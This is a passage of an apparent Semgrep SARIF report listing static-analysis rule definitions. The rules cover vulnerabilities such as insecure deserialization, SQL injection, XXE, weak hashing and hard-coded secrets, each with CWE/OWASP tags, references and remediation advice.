[https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","id":"python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","name":"python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"help":{"markdown":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","id":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","name":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","properties":{"precision":"very-high","tags":["CWE-297: Improper Validation of Certificate with Host Mismatch","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli","id":"java.spring.security.audit.spring-sqli.spring-sqli","name":"java.spring.security.audit.spring-sqli.spring-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-sqli.spring-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function."},"help":{"markdown":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage)\n - [https://docs.python.org/3/library/typing.html#typing.get_type_hints](https://docs.python.org/3/library/typing.html#typing.get_type_hints)\n","text":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","id":"python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","name":"python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`"},"help":{"markdown":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`"},"helpUri":"https://semgrep.dev/r/python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","id":"python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","name":"python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"help":{"markdown":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","id":"swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","name":"swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take."},"help":{"markdown":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py)\n","text":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","id":"terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","name":"terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","id":"go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","name":"go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized."},"help":{"markdown":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","id":"swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","name":"swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","properties":{"precision":"very-high","tags":["CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","id":"kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","name":"kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead."},"help":{"markdown":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled)\n - [https://flask.palletsprojects.com/en/2.0.x/debugging/](https://flask.palletsprojects.com/en/2.0.x/debugging/)\n - [https://flask.palletsprojects.com/en/2.0.x/config/#ENV](https://flask.palletsprojects.com/en/2.0.x/config/#ENV)\n","text":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","id":"yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","name":"yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","id":"java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","name":"java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","id":"python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","name":"python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-shelve.tainted-shelve)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-shelve.tainted-shelve","id":"python.lang.deserialization.tainted-shelve.tainted-shelve","name":"python.lang.deserialization.tainted-shelve.tainted-shelve","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-shelve.tainted-shelve"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Backticks use may lead to command injection vulnerabilities."},"help":{"markdown":"Backticks use may lead to command injection vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.backticks-use.backticks-use)\n - [https://www.php.net/manual/en/language.operators.execution.php](https://www.php.net/manual/en/language.operators.execution.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/BackticksSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/BackticksSniff.php)\n","text":"Backticks use may lead to command injection vulnerabilities."},"helpUri":"https://semgrep.dev/r/php.lang.security.backticks-use.backticks-use","id":"php.lang.security.backticks-use.backticks-use","name":"php.lang.security.backticks-use.backticks-use","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.backticks-use.backticks-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this 